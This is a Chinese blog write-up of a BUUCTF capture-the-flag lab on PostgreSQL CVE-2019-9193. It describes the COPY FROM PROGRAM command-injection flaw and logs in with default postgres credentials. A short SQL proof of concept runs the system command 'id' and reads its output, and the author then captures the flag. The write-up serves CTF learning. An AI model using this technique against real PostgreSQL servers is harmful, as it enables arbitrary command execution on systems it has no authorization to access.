buuctf [Postgres]CVE-2019-9193

漏洞描述

PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。采用类似MIT的许可协议,允许开发人员做任何事情,包括在开源或闭源产品中商用,其源代码是免费提供的。

PostgreSQL特点:

支持WINDOWS、Linux、Solaris、macOS 、BSD。

支持文本、图像、视频、声音等

支持ACID、关联完整性、数据库事务、Unicode多国语言。

支持临时表,与物化视图

支持SQL的许多功能,例如复杂的SQL查询,子查询,外键,触发器,视图,视图,多进程并发控制(MVCC)、异步复制。

PostgreSQL 9.3至11.2版本中的导入导出数据命令COPY TO/FROM PROGRAM存在操作系统命令注入漏洞。攻击者可利用该漏洞获取数据库超级用户权限,从而执行任意系统命令。
https://www.freebuf.com/vuls/261361.html

漏洞影响
PostgreSQL 9.3至11.2

漏洞复现

直接navicat连接数据库,数据库初始账号密码为postgres
在这里插入图片描述
执行如下POC:

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

在这里插入图片描述注:这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户

1.执行删除你想用来保存命令输出但是可能存在的表,这一步可有可无

DROP TABLE IF EXISTS cmd_exec

2.创建用来保存命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

3.通过 “COPY FROM PROGRAM”执行系统命令

COPY cmd_exec FROM PROGRAM ‘id’;

4.将结果显示出来

SELECT * FROM cmd_exec;

打印环境变量
在这里插入图片描述
拿到flag!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值